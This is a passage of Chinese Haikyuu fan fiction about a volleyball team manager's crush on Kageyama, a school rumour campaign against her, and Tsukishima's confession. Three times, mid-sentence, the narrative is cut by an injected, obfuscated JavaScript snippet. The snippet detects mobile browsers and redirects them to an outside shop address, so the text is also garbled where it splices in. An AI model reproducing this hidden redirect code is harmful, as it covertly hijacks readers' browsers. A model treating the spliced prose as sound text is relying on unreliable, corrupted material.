“是我妈妈的公司,有些时候需要模特,叫小樱来拍广告的时候穿的哦。”知世姐姐笑眯眯地道。 小樱姐姐和表哥站在我身后一个看天一个看地,但是知世姐姐的笑容无懈可击,我认真地点了点头,对知世姐姐的钦佩更上一层,并且高兴地接过了知世姐姐送给我的衣服:“谢谢,我会好好珍惜的!” “没事,以后有机会,还可以给你做衣服哦!”知世姐姐笑眯眯地说道,“毕竟自从国中毕业以后,给小樱做衣服的机会少了很多呢……” 我不解地望着看起来有点慌乱的小樱姐,又听见知世姐姐笑眯眯地补充道:“因为自从念高中以后,我妈妈公司就很少让小樱来拍广告了。” “是这样啊,”我不免可惜道,“好遗憾,我都还没见过小樱姐拍的广告呢……” “不看也没事……” “千树想看的话,下次来我家的时候给你看吧!” “真的吗!太好了!” “不过千树这么在意衣服,是因为有什么重要的事吗?” “没……没有,”我没说实话,“就是……就是和朋友约了要出去玩……” 知世姐姐的表情没有变化,但我总觉得她已经掌握了一切真相,只是没有戳穿我:“这样啊,那祝你们玩得开心。” “嗯。”我两颊绯红,重重点头。 我回家之后,把上次没能给影山君送出去的那封情书又翻了出来。 之前决定了要在乌野拿冠军的时候跟影山君告白,因为之前的情书是在和影山君认识之前写的,所以我前几天已经又翻出来重新写了一遍。 我把信封打开,确认了一遍情书上没有污渍、没有错别字、夹在信纸里的干花还保持着干燥芬芳的状态,这才又郑重地把信给合上,在开口处贴了一张可爱的贴纸。 万事俱备,只欠东风。 我看着手上的信封,兴奋得在床上打了个滚,接下来,只要等乌野拿冠军了。 然而,令我没有想到的是,第二天,乌野输给了青叶城西。 我没能有机会穿上那条漂亮的天蓝色小洋裙。 23.第三天 手机里备注着【神经病4号】的消息终于在我威胁要报警之后安生了一点,我关上手机的屏幕,看着窗外的飞鸟发呆。 今天是预选赛的第三天,也是决赛的日子。乌野因为惜败于青叶城西,甚至没能与白鸟泽一战。 昨天影山和日向险些在体育馆外面的草地上打起来,在回程的大巴上,所有人都一言不发 “千树?千树!”仁花不知叫了我多久,才把我从发呆的状态中给叫回神。 “抱歉,你刚才说什么?”我扯了扯嘴角。 仁花有些担心地看着我:“千树,没事吧?” 我吐了口气,摇摇头:“不用在意,我没事。” “虽……虽然乌野这次没能拿到IH县内预选的冠军,但是还有春高呢,对吧?”仁花努力地安慰我。 “是这样没错,”我也努力笑了笑,“但是高三的学长学姐不一定会留下来,特别是需要考学的,春高会占用太多时间和精力。” “啊,这样……”仁花讪讪地答话,一时间也没了安慰我的话。 “我没事的,不用担心。”我把桌子里的笔记交给仁花,“我今天先不去戈薇家了,你能帮我把笔记带给她吗?” 因为失败而裹足不前的人是不可能从跌倒处爬起身战胜失败的,我午休路过影山班级门口的时候,他的座位空空荡荡的,应该是又去体育馆了。 不知他和日向中午在体育馆交流了什么,在我放学后去参加社团活动的时候,他们基本都已经调整好状态,只是屏息在等待着三年级的到来。 我走到影山身边,低头看着自己的鞋尖。 告白这种事,其实也不着急,影山君现在不喜欢我,换位思考一下,如果有完全不喜欢的人和我告白,我也会很困扰的。 春高再说吧。 他大概是发觉我在他身边站的时间长了些,转过头面带疑问看了我一眼,我连忙摇摇头,表示没有什么事。 影山君没有多想,一边拍着球,一边转头继续看着门口。 好在,三年级生如约而至。 体育馆紧张沉闷的气氛一扫而空,所有人微微皱起的眉头都在此刻缓慢地舒展开。 拿冠军不是最重要的,我看向体育馆里如释重负的众人,甚至连一向脸上看不见什么好情绪的月岛君表情都缓和许多。 最重要的,是和谁一起拿冠军。 “合宿——大家要去的吧?”小武老师一如往常跌跌撞撞从门外跑进来,我习以为常地上前把他扶起来,听见他又激动地补充了一句:“东京!” 小武老师说这次东京远征不止有音驹,是以枭谷学园为首的学院联盟,所以除了音驹之外,还能与东京许多其他高校的队伍进行车轮练习赛。 这话一出,排球部的少年们集体沸腾,兴冲冲地出门开始今天的跑步练习了。 我从包里拿出秒表和单词本,正准备出门去给大家计时,却被洁子学姐叫住。 “千树对经理的工作,已经适应不少了吧?”她看着我笑着说。 我点点头。 “这次春高结束,三年级生就会离开排球部,也包括我。”她看着我笑笑,“如果以后排球部的工作压在你一个人身上,会不会觉得忙不过来?” 我犹豫起来。 其实很多工作我虽然已经上手,但到底还是跟着学姐身后亦步亦趋地做着,而且这次IH预选虽然乌野没能拿到最终的胜利,但是已经在校内掀起了一番波澜,大家对排球部的关注慢慢多了起来。 虽然排球部经理对我而言是十分珍贵的体验,但是我也不可能将全部时间都投入在排球部上,我还有点想参加下个学期的竞赛…… “千树认不认识还没有参加过任何社团的同学?如果也能来排球部帮忙的话,等我们毕业了,千树也能有个伴。”洁子学姐道。 我听见学姐的话,心里渐渐浮出一个人选:“学姐放心,我去问问。” ------- “哇,真的吗?”影山穿过人群走回自己的位置,后排的男生突然爆发出一阵哗然。 惹得影山都没忍住竖起耳朵听了一会儿,因为他好像隐约在里面听见了李千树的名字。 “真的,我朋友亲口跟我说的!”那个男生一脸认真,“李千树原来就是北川第一小林伸一的女朋友,但是把他给甩了。” 小林伸一是谁? 影山在记忆里费力搜索这个名字,无果。 毕竟他连班里同学的名字都没有记全,但是这个人应该不是他们班的吧,影山没什么印象。 “为什么啊?”有人好奇地提问。 “好像是小林君的爸爸是一次竞赛的出题人,她想通过小林君拿到那次竞赛的原题,这样就可以在竞赛里获奖,然后保送去白鸟泽。”那个男生说道,“千真万确,是我原来在北川第一的同学说的。” “啊?” “是的,后来小林君不愿意给她竞赛的题,所以她就把小林君给甩了,也没能去成白鸟泽。”那个男生咂舌,“真不敢相信,李千树看着挺正经的,居然是这样的人。” “还有这种事?” “是真的,而且听说以前她在北川第一人缘可差了,都没有朋友的,你想想,什么样的人才能一个朋友都没有啊!” “还真是被她的长相给骗了……” “我怎么没有听说过这件事?”影山看着那群男生,平静地开口。 “影山……影山以前连小林伸一和李千树都不认识吧!”那个男生不服气地反驳道,“怎么可能听说过这件事。” 影山语塞,他确实不认识。 “……但是千树桑虽然没有考上白鸟泽,也一直在荣誉榜第一。”影山皱着眉补充道,“她很厉害。” 心里好像有一团火在烧,是比比赛输了更为炽烈的火焰,熊熊燃着,却燃得他的情绪越来越平静,没有一点勃然的怒意,像是一潭亘古的幽泉。 影山紧抿着唇,不知道自己这份情绪从何而来。 少女即便在排球部陪他们训练的时候,也一直带着单词本或者是错题集,他偶尔看见过她空闲时写作业的样子,书本上密密麻麻写满笔记,作业上的字迹工整娟秀思路清晰,偶尔钻研的竞赛题,是给影山抄都抄不明白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928454|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解题过程。 “厉害还考不上白鸟泽,”那个男生嗤笑一声,“要是真的厉害怎么会来乌野?比乌野厉害的学校多了去吧?” “那那个……”影山皱了皱眉开始回忆,“小林什么的,他考上白鸟泽了吗?” “……他……他保送去了青叶城西!” “哦,”影山恍然大悟,“原来没考上白鸟泽啊。” 他说得太过自然,以至于普通的事实也被他说出了讽刺的意味。人群里,有男生冷笑了一声:“影山,你该不是也被李千树的外表给迷惑了吧?” “原来只喜欢排球的影山也会喜欢女生啊哈哈哈!” 影山抬头望去,认出那个男生是上次让他帮忙送情书的男生,更加疑惑了:“你不是喜欢千树桑吗?” 喜欢一个人,为什么会在背后说她的坏话呢? 田中前辈和西谷前辈从不会说清水学姐的坏话,不论是在人前还是人后都不会。 “她又没答应,”男生笑嘻嘻地说,“而且李千树不是讨厌你吗?影山干什么帮她说好话?” 影山皱了皱眉,他不是替千树桑说好话,他只是在说他知道的事实。 而且千树桑讨不讨厌他,跟他说什么又有什么关系? 影山第一次觉得有人的逻辑比自己还要糟糕。 “影山君,不是我说,”又有人苦口婆心地道,“按照李千树的性子,没准是她看影山君排球打得好,所以想要和影山君走得近一点,说不定能从影山君这里得到什么好处呢!” 好处?什么好处? 千树桑自从做排球部的经理以来,每天都很辛苦。不但要留下来陪他和日向练球,还要帮他们做很多后勤工作。 明明不是经理的工作义务,她还是会每周给大家带各种各样的小点心,比赛的时候给大家送御守,还熬着夜帮他们研究比赛对手的风格和特点。 是她从排球部得到什么好处吗? 不是,是排球部的大家从她那里得到了数不清的好处才对。 她细心地为总是紧张的日向准备好腹泻的药,帮大地学长调解他们这一群不省心的、动不动就爱吵架的一年级。 月岛那家伙多讨人厌啊,千树桑也总是对他笑脸相迎。影山也知道自己不是什么受欢迎的性格,但是千树桑也从没有嫌弃过他,还会细致地教他该怎么和别人相处。 “影山君,这么维护李千树,你是不是喜欢她啊?”不知道谁在人群里起哄了一句。 影山皱了皱眉,他觉得千树桑人很好,又和他喜不喜欢千树桑有什么关系? 他皱了皱眉,反驳道:“不要胡说八道。” “影山君——” 和他这句话一起响起来的还有不知谁叫他名字的声音。众人扭过头,他们班同学站在门口,尴尬地补了一句:“影山君,有人找你。” 站在她边上的,是影山熟悉得不能再熟悉的人影。 李千树静静站在门口,面色如常,没说有没有听见刚才他们的谈话,只笑了笑看向影山:“影山君,小武老师说关于东京远征他有事要说,嘱咐你放学早点过去。” 24.笨嘴拙舌 “千树桑……”影山下意识起身,追上了离开教室的背影。 “什么事,影山君?”李千树仍然笑着看向影山,表情看起来和每天影山见到的李千树别无二致,影山却莫名地心慌。 这种感觉很熟悉,和他上次不知为何突然惹了千树桑生气的感觉如出一辙,只是这次,影山微妙地觉察到似乎和上次有一点点不一样。 “我刚才……不是那个意思……”影山连忙为自己辩驳道。 李千树还在原地耐心等着,等着影山的后文,等着影山与她解释,刚才那句话究竟是什么意思。 影山一向笨嘴拙舌,十句话里面有八句话都词不达意,剩下两句话只会说“你好”和“谢谢”,这会儿看着李千树,被心火一燎,更是不知道说什么好。 “千树——”有同学在她身后叫她。 “就来!”李千树回头应了一句,又转回头郑重地看向影山,“影山君,你还有什么要和我说的吗?” 影山张了张嘴,最后只摇了摇头。 李千树看了他一眼,转身去找刚才叫她的同学了。 影山看着她的背影,忽然意识到,或许这一次她的气,不会像上次那样那么快地消散了。 --------- “仁花,我想问问你,想不想来排球部当经理。”课间的时候,我戳了戳我的前桌。 “哎?我吗?可是……”仁花惊讶地睁大了眼睛,随即犹豫起来,“我以前没有做过这种工作,再说,排球部不是有你和一个三年级的学姐了吗?” “春高之后学姐就会退部,我打算争取一下大学推荐入试的名额,所以从下学期开始会频繁参加竞赛,有些时候可能不在学校,所以想找一个人一起分担一下。”我拍了拍仁花的肩,“不要有压力,我只是上次看你排球赛观赛的时候挺开心的,又没有参加社团,所以问一问你,你可以先试一试,不一定要立刻入部的。” 仁花纠结半晌,点了点头。 “那午休的时候,我带你去找洁子学姐。”我弯了弯眼睛。 洁子学姐知道有人愿意来尝试社团经理,高兴得拉着仁花说了不少的话,我看在眼里,基本上从洁子学姐说到第二句话时,仁花就已经被洁子学姐迷得一个字都听不进去了。 我在心里悄悄叹口气,唉,毕竟是洁子学姐。 “啊对了,千树,你能帮我和影山和日向带句话吗?”洁子学姐忽然对我道。 “可以的,什么事?” “小武老师说,关于东京远征有很重要的事要说,让他们两个早点过去。” 我点点头:“不过他们每次打排球都很积极,应该不会迟到。” 洁子学姐笑笑:“说得也是。” 回班的路上正巧遇见千代和戈薇吃完饭往回走,听说了我邀请仁花去做球队经理的事情,都表示了支持。 我顺路去找日向和影山,她们三个不认识两人,就只站在我的几米之外,等着我说完话再和我一起走。 日向君爽快地答应了,甚至动了课上一半就偷偷溜走的念头,不过看了一眼课程表,最后一节课是小野老师的英语课,最喜欢开火车回答问题,他成功的可能性无限趋近于零,不要放学被留堂就已经谢天谢地。 “下课再来就好了,不要想着逃课。”我笑了笑。 “放心吧千树桑,我一定会比影山更早到的!”日向君志气昂扬地挽了挽袖子。 我又和仁花她们去找影山。 “就在前面……”仁花的声音被一阵哄笑声打断,3班里清清楚楚传来了“李千树”三个字。 我皱了皱眉,又听见里面隐约传来了“北川第一”的名字。 又在说那些捕风捉影的事吗? 戈薇在我们几人中最是仗义,听见那话就想上去讨个说法,我连忙抓住她:“冷静点,没事的。” “就知道胡说八道,有本事也考个年级第一给我看看啊!”戈薇气得亮出了拳头,“不行,我还是要叫他们闭嘴。” “都是很久以前的事了,我都忘了。”我摇了摇戈薇的胳膊,冲她笑了笑,“为了那些陈年旧事生气,多不值得。” “可是……”戈薇还想说什么,我则摇了摇头。 戈薇没办法,只好和仁花与千代一起气鼓鼓地在门口站着。我找了站在门口的女生,请她帮我叫一下影山君。与此同时,教室内的哄笑声清清楚楚地传来:“影山君,这么维护李千树,你是不是喜欢她呀?” 我的心漏跳一拍,影山君冷冰冰的声音硬邦邦地砸进我的心底:“不要胡说八道。” 我下意识想要止住那女生帮我叫影山君的行为,可惜为时已晚,教室里的人已经齐刷刷地向我看来。 我该用什么表情? 我现在脸上又是什么表情? 肌肉遵循着日复一日的机械记忆尽职尽责地将笑容拉起,我脑袋发蒙地和影山君说完学姐和小武老师交代的话,便匆匆往仁花她们那处走。 影山君从背后叫住了我,与我解释:“我不是那个意思。” 那你是什么意思呢?我看着他,默默地想。 即便知道他心里所想和嘴上所说往往有出入,可我也很难在听见这样的话之后还保持着偏爱与清醒。 那些污言秽语,我早在国中的时候就已经不在意了,但是身边的人,总归是不一样的。 “千树——”戈薇她们也听见了那句话,要不是刚才仁花和千代拦着,她或许就直接上来把我拉走了。 “影山君,你还有什么话要对我说的吗?”我看向影山。 这是给他的最后一次机会,也是给我自己。 他沉默良久,最终冲我摇了摇头。 -------- 李千树很少请假,更别说是病假。 清水洁子从泽村嘴里听说这件事的时候,惊讶地挑了挑眉,毕竟中午的时候千树还完全不像是身体不舒服的样子。 “我也不清楚,”泽村挠了挠头,表情也变得微妙起来,“是月岛和我说的。” 体育馆里众人齐齐扭头,看向那个站在体育馆边做准备活动的瘦高身影。 “嗯,她不太舒服,先回家了。”月岛没什么情绪地说道。 中午千树匆匆走过月岛班级门口的时候,山口就在月岛身边疑惑地问出了口:“那是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942007|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是千树桑?” 月岛闻声抬头,只看见了少女从教室门口掠过的一片裙角。 走廊很喧闹,虽然吵吵嚷嚷是十多岁高中男生消费自己额外精力的常态,但是今天的走廊似乎还是喧闹得过了头。 “发生什么事了?阿月,去看看吗?” 月岛一向不是喜欢凑热闹的性格,但是刚才少女有些慌乱的背影还是让他有些在意。 “好。” 本来就是午休时间,走廊上的人很多,月岛都不用多问什么,就已经在人群里听清楚了整件事的来龙去脉。 “这……”山口都忍不住皱眉,“千树桑听到这种话该有多伤心,她平时对影山那么好……” “阿月,你不去看看千树桑吗?”山口问道。 “我为什么……” “嗯?”山口像是早就猜到他会这么说,冷不防道,“阿月不是喜欢千树桑吗?” “……” 月岛沉默良久,迟疑地开口:“什么时候发现的?” “很难不发现吧?”山口反而是惊讶的那个人,“阿月看千树桑的眼神都不一样!” 月岛还是没想明白自己到底是哪里露了馅,不过一时半会儿还是放下了自己的傲娇,朝着李千树离开的方向走去。 到了班级门口,月岛毫不意外地看见李千树的座位上是空着的。 他随即扭头走向了楼梯间。 兜兜转转,月岛最终走到一个鲜少有人过来的楼梯口时,终于听见了一阵轻微的啜泣声。 他叹了口气,她还真的是一点没变。 明明有那么多朋友了,明明和排球部的大家都能那样愉快地相处了,怎么遇到事情还是自己一个人偷偷躲到楼梯间,悄悄地擦眼泪呢? 月岛站在阴影里听了一会儿,犹豫了一瞬,还是走上前,站到了李千树面前。 ------ 面前突然出现了一块深蓝色的手帕,我错愕地抬起头,月岛君低着头,见我抬头,将那块手帕又往前递了递,轻声道:“别哭了。” 我一瞬间有些慌乱,下意识想躲,却发现月岛君已经将我离开的唯一路径封死,而且我现在逃开,把月岛君晾在原地,也太尴尬些。 我讪讪接过那块手帕,小声地说了句谢谢。 手帕干净地散发出洗涤剂的芳香,右下角还有一个可爱的小恐龙刺绣。 “月岛君怎么知道我在这里?”我捏着手帕,小声地问。 不开心了就会跑到楼梯间自己一个人偷偷哭这种事,到底还是有些难以对人启齿。我从未与任何人说过,连表哥都不知道。 他是怎么找到这里来的? 月岛君没有说话,只是在我身边坐下。他个子很高,腿也长,即便与我坐在同一级台阶上,脚却越过两级台阶,放在了下面。 这里离教学楼要远些,嘈杂的喧闹声像是信号不好的老收音机,传出时断时续的背景音。 “千树。”月岛君忽然叫了我一声。 我擦了擦眼泪,抬头看向他,发现他也意外以格外认真的神情望向我。 “非影山不可吗?”他说,“我不行吗?” 25.漫画男主 “月岛,千树桑没事吧?”日向远远冲着月岛问道。 影山把头从地上抬起来,也顺着日向的视线望向月岛。 月岛瞥了两人一眼,声线无波无澜:“没什么大问题,回家休息休息就好了。” “那就好。”日向这才放了心。 “你这小子,别让我再碰到你!”门外响起田中凶神恶煞的警告声,泽村连忙走到门口,将还在冲着远方逃离的背影龇牙咧嘴的田中抓了回来:“说什么呢!” “学长,这群人太过分了!”田中忿忿不平地说,“也不知道从哪里开始传千树学妹的谣言,说她为了拿到什么竞赛题的答案,故意和人家交往又把人给甩了,参加我们排球部,也是希望排球部拿奖她可以跟着沾点光!” 田中恶狠狠地盯着那个逃窜的背影:“等我抓到他……” “抓什么抓,别跟个小混混一样。”菅原拍了一把田中的后脑勺。 “会和上次在体育馆拦住千树学妹的那几个男生有关吗?”泽村回想起比赛那天的事情道。 所有人的目光都聚焦到了影山身上,毕竟在场的人中,只有他和李千树来自同一学校,最有可能知道这些谣言的起因。 可是影山知道的内容并不比别人多,他甚至也是在今天才听到这些离谱的谣言,干巴巴地回应大家无声的询问:“我……我不知道。” 众人毫不意外,七嘴八舌地开始商讨今天李千树训练请假究竟和这个空穴来风的谣言有没有关系。 “算了,我们在这猜也无济于事。”菅原捂着脑袋摇了摇头,“毕竟我们对内情一无所知。” “那……那怎么办啊,菅原学长!”田中和西谷都义愤填膺,“总不能让那些人就这么嚼千树学妹的舌根吧?不行,我要去问问千树学妹!” 田中和西谷说话间就要往外走,好在被泽村给呵斥住:“回来!先不说你们知不知道千树学妹家在哪里,你们几个男生,二话不说就去人家家里找她,也太失礼了!” “而且这种事,也不能直接去问千树学妹啊,她本人才是最伤心的,你问她不是往她伤口上撒盐吗?” 田中和西谷狠狠咬牙,但也没有办法,只好沉默下来。 影山的眉毛也深深蹙了起来,他本来想着要不要排球部训练结束之后,去千树桑家里探望一下,顺便问问究竟这到底是怎么一回事。 结果每一步都被泽村学长给否了。 “最重要的还是搞清楚,这件谣言究竟是由谁而起的,而真相到底是怎么一回事。”菅原揉揉太阳穴,“真是的,到底是谁吃饱了撑的!” ------ “啊?那千树你是怎么回应月岛君的?”千代几人坐在我的房间里,三人眼睛一错不错地盯着我问道。 经过今天中午那件事,我实在是有些疲惫,月岛君说帮我和泽村学长他们请假,我就答应了。千代仁花和戈薇三人因为担心我的情绪,社团请假的请假,和家里人报备的报备,都到我家里陪我说话。 我给三人倒了茶,四个人挤挤坐成一窝,小声地说了今天我一个人从教室离开之后,月岛君来找我的事。 “……还能怎么回应,当然是拒绝了。”我把头埋进胳膊里,“我……我也没想到他会这么说……” “可是月岛君也不错啊!个子高,人长得帅,成绩也好,重点是他很喜欢你啊千树,不像那个影山……”戈薇冷哼一声。 “唔,那也不能这么轻易地答应他,对他很不尊重。”我找了个理由应付道。 “千树到底是为什么喜欢影山同学啊?”仁花忍不住问,“总不能是因为排球打得好吧?” “因为……”我纠结了一会儿,站起身,从书架上翻箱倒柜找出一本漫画书,摊开递给三人,“我当时觉得影山君长得特别像这个漫画的男主角,所以一见钟情了……” 三人眼睛都瞪大了,看看漫画上那个人物,又看看我,神情变得微妙了起来。 “我说千树,你该不会根本不是喜欢影山君,其实影山君是这个漫画男主角的替身吧?”戈薇忍不住问道。 我:“哎?不可能吧,怎么会有这种事。” “也不是没有可能啊……”千代把那本漫画书拿起来翻了翻,“高冷运动系男主,虽然不是排球部,但确实很像影山君,特别是这个刘海,简直一模一样。” 仁花也忍不住赞同起二人来:“千树,其实你就是喜欢影山那张和这个漫画男主一模一样的脸吧?” “说到底千树还是个颜控呢。” “主要还是要长得帅啊。” “不不不,”我垂死挣扎,“上次青叶城西的队长,那个二传手,你们还记得吧?他也是大池面,也是运动系,但是我一点都不喜欢他啊!” “他性格你不喜欢吧,你就喜欢这个男主这种高冷不说话的。”戈薇一锤定音。 千代从包里掏出另外一本漫画:“你看,这部漫画男主长得就挺像月岛君的,你要不看一看?” 我还试图挣扎一下,千代把那本漫画又往前递了递,诱惑我:“梦野老师新作哦!” 好吧,我没有办法拒绝梦野老师。 “但是,我不会看完这本漫画,开始喜欢月岛君吧?”我惴惴不安地接过那本漫画,“那不是证明我看一个爱一个?难道我是什么很容易见异思迁的女人吗?!” “有……有什么关系!”连平时对于这些社交问题一向最小心的仁花都拍了拍我的肩膀安慰我,“你又没有欺骗他们的感情!” “就是说,他们还吃了那么多千树做的小饼干!” “啊,真好啊,要不千树还是喜欢我吧,我也想吃千树做的小饼干!” 我红着脸把手里的抱枕丢到她们三个人身上,几个人笑成一团。 漫画封面上的男主角黑发蓝眸,我又起身到柜子前,翻了翻以前的漫画书,似乎我最喜欢的男主类型,都和这位男主长得大差不差,只是在别的小细节上各有千秋。 和他们对比起来,我会第一眼就觉得影山同学帅也不是没有道理,因为他长得完全和我喜欢的类型一模一样。 果然还是旁观者清啊! 心头的烦闷一扫而空,我扬了扬千代借我那本漫画书:“等我看完了还你!” “没问题!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960731|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >足球部也没能走进决赛,但他们下一场比赛没有这么紧张,表哥这两日回来得都早,盛情款待了我和我的朋友们。 小樱姐和知世姐也带着甜品来了,千代戈薇和仁花三人吃得幸福得冒泡,二话不说就都和几个姐姐们加上了好友。 知世姐姐笑眯眯地看着我们吃甜点,坐到我身边,轻声问我:“怎么样,上次那条裙子好看吗?” 她冲我眨了眨眼,我意识到她大概指的不是那条裙子。 “裙子很漂亮,”我弯了弯眼睛道,“但是出了点意外,还没机会穿。” 知世姐姐困惑地皱了皱眉。 “不过没关系啦,我会穿上它好好迎接夏天的!” 她的表情柔和下来:“那就好。” 吃完饭之后,仁花三人同我告辞,一人手上拎了一个小樱姐爸爸做的布丁——好吃的东西太多了,今天实在没有肚子分给布丁。 我送她们到路口,一扭头却看见一个人影站在岔路口,一看见我的视线就迅速地藏回了墙后。 好熟悉的身影。 我犹豫地冲着那边喊道:“影山君?” ------ 躲不过去了。 影山犹犹豫豫地从墙后面走了出来。 他甚至不知道自己为什么看见她转头的那一瞬间,就下意识地躲了起来。 李千树因为今天早早回了家,这会儿穿的不是校服,而是一件轻便的家居服,显得她有点…… 毛茸茸的,影山想起了这个一般拿来形容毛绒玩具的词汇。 “你在这里干什么?”李千树问道。 “我……”影山欲言又止。 他知道自己说错话了。 他难得学会换位思考,如果有人在问千树桑喜不喜欢影山的时候,千树桑当着他的面说了句“不要胡说八道”,他也会很难过。 何况她虽然不太喜欢他,但是明明从未因此对他区别对待。 但是他不知道怎么和李千树解释,说他其实喜欢她吗? 不对吧,这话好像不是这个意思吧? 影山这几句话在脑海里转了一圈,还是没能想出一个合理的解释,只好和她说:“今天还没有和千树桑说再见。” 今天李千树离开学校的时候,一句话没有和他说,如果是以往的话,就算她有事不来部活,也会和他说一句,告诉他今天不和他一起回家了。 “好吧,”李千树眨了眨眼,“影山君再见。” 不是的,他不是想说这个。 影山觉得自己心里似乎有很多话想说,但是从心到嘴巴的这一条路太长,那些句子到了嘴边的时候就变得支离破碎的,变成水面上飘零的落叶,一眨眼就被水流冲走不见了。 他甚至没有办法拼凑出哪怕一句话,来完整地表达他现在心里有多么矛盾与复杂。 千树还在耐心地等着他的回话,夜风吹起,她穿着短袖短裤,有些难耐地皱了皱眉,下意识地搓了搓自己被夜风吹得泛凉的胳膊。 影山看见她的动作,没再多纠结,看着李千树的眼睛认真地同她告别:“千树桑,晚安,明天见。” 26.回家路*2 “千树桑,身体已经没事了吗?”第二天我回到排球部的时候,所有人见到我,都忍不住这么关心了我一句。 “没什么事,休息休息就好了。”我也和每个人笑着回应。 “在家多休息休息也没事的,早训缺一次也没什么要紧的。”泽村学长看着我打哈欠,皱着眉道。 “没有没有,我就是……昨天学习太晚了。”我心虚地撒了个谎。 千代借我的那本梦野老师新刊有点好看,我一个没忍住就看到了凌晨,今天早上要不是表哥来敲门,我差点错过了早起的闹钟。 好在我平时成绩不错,说自己在熬夜学习也没有人不信。 “要是那几个笨蛋有你这么自觉就好了。”泽村学长叹了口气。 “怎么了吗?”我愣了一下,平时也没关注过大家的成绩。 “你昨天不在,小武老师说,这次东京远征的日子和补考是同一天,期末考试必须要及格才能参加远征,那几个笨蛋……”泽村学长忍无可忍地咬了咬牙,“及格都费劲!” “哎?都是谁啊?如果是一年级的话我没准可以帮忙补补习,二三年级还没学……” “一年级当然就是那俩,”泽村学长面无表情,“影山和日向。” “哦,影山君和日向君……哎?!”我惊讶地叫了一声,“影山君成绩很差吗?” 他,不是,影山君怎么看都不像是成绩很差的样子啊! 此时从我身边走过的月岛君听见这话,没忍住笑了一声:“呵,王者和小不点分数加起来还没你鞋码大呢。” 我讪讪地扭头,思绪突然飘到了开学第一天影山君说他白鸟泽没考上的时候。 所以没考上,是真的没考上吗! 虽然以前和影山君在同一所国中,但是我从来没有看过荣誉榜,上了高中以后也一样。 我一直以为影山君的名字,应该就在我后面没几个的地方呢! 影山君此时也打着哈欠进了门,泽村学长看见他这样子,立刻火冒三丈:“都说了,不要想着熬夜学习!怎么还困成这个样子!你上课要是敢睡着你就给我等着吧!” “我没有!”影山连忙为自己申辩,目光在体育馆里绕了一圈,触到我的时候转回泽村学长身上,“是有点别的事……” “都什么时候了?还有一个月就期末考试了,还不把心思放到学习上来……”泽村学长抓着影山君到一边训斥去了。 手机嗡嗡响了一声,是仁花发来的,我邀请她来排球部参观,体验一下球队经理的工作。 她说她到了,人呢? 我纳闷地看了一圈,也没看见她的人影,又走到门口,在门口转了一圈,终于在一处墙角发现了一撮淡金色的发丝。 “仁花,你在这里干什么呢?”我无奈地把她从墙角揪出来。 “站在看台上看的时候,也没觉得大家这么高啊……”她顶着一双蛋花眼,颤颤巍巍地和我说道。 “没事的,大家人都很好的。”我拉着她到了体育馆内。 也不怪仁花害怕,毕竟她个子只有一米五左右,比我还要小巧一点,站在人高马大的排球队员中间,觉得有些压迫感也是正常的。 洁子学姐看见我们,冲躲在我身后的仁花打了个招呼,拍拍手招呼大家过来:“给大家介绍一下,这是千树的同学,谷地仁花。” “是新的经理吗?天呐,我们乌野的经理阵容太豪华了,比那些强豪还厉害!”日向君眼睛亮晶晶地道。 他太过激动,把仁花吓了一大跳,我连忙拉住他解释:“没有没有,她只是来事先体验一下的,还没有定下来要不要来做经理。” 仁花之前看过乌野的比赛,对排球部的大家已经有了个模模糊糊的印象,怯生生地和大家打完招呼,洁子学姐就善解人意地把众人驱散开各自练习了,并且和仁花约好了之后来实习经理工作的时间。 平静的一天很快过去。 晚训结束,我收拾好东西打算回家,月岛君没有走,而是在东西收拾好后走到我身边:“一起走吗?” 我疑惑地看了眼他身后,没看见和他形影不离的山口:“山口君呢?你们不是都一起走的吗?” “嗯,他有事先走了。”月岛君道。 我狐疑地补充:“可是月岛君和我家不是同一个方向吧?” “嗯,”他也没否认,“我要去那边买点东西。” 明显醉翁之意不在酒,但是我也没有拒绝他的道理,只好收拾好书包,冲他点了点头:“走吧。” ------ 影山早在李千树收拾东西的时候就竖起了耳朵。 “嗯?今天千树桑怎么和月岛一起走?”日向看见千树的背影,“她不和你一起走吗,影山?” 影山心里一只无名的警报开始“滴滴”作响,他看了一眼手上的排球,又看了一眼千树即将和月岛一起离开的背影,心一狠丢掉了排球:“今天不加练了。” “啊?”日向还没反应过来,“可是……” “早点回去学习。”影山说出了他这辈子都没想到自己会说出口的话。 日向古怪地看了他一眼,也放下了球:“也是,毕竟要是考试不及格的话就去不了东京远征了。” 日向把球收好,又凑到影山身边:“要不,我们去问问千树桑能不能帮我们补习吧!” “千树桑可是年级第一诶!人又那么好,一定愿意教我们的!” 影山欲言又止,半晌道:“找那混……找月岛吧。” “为什么!月岛脾气那么臭,肯定不愿意教我们的!” 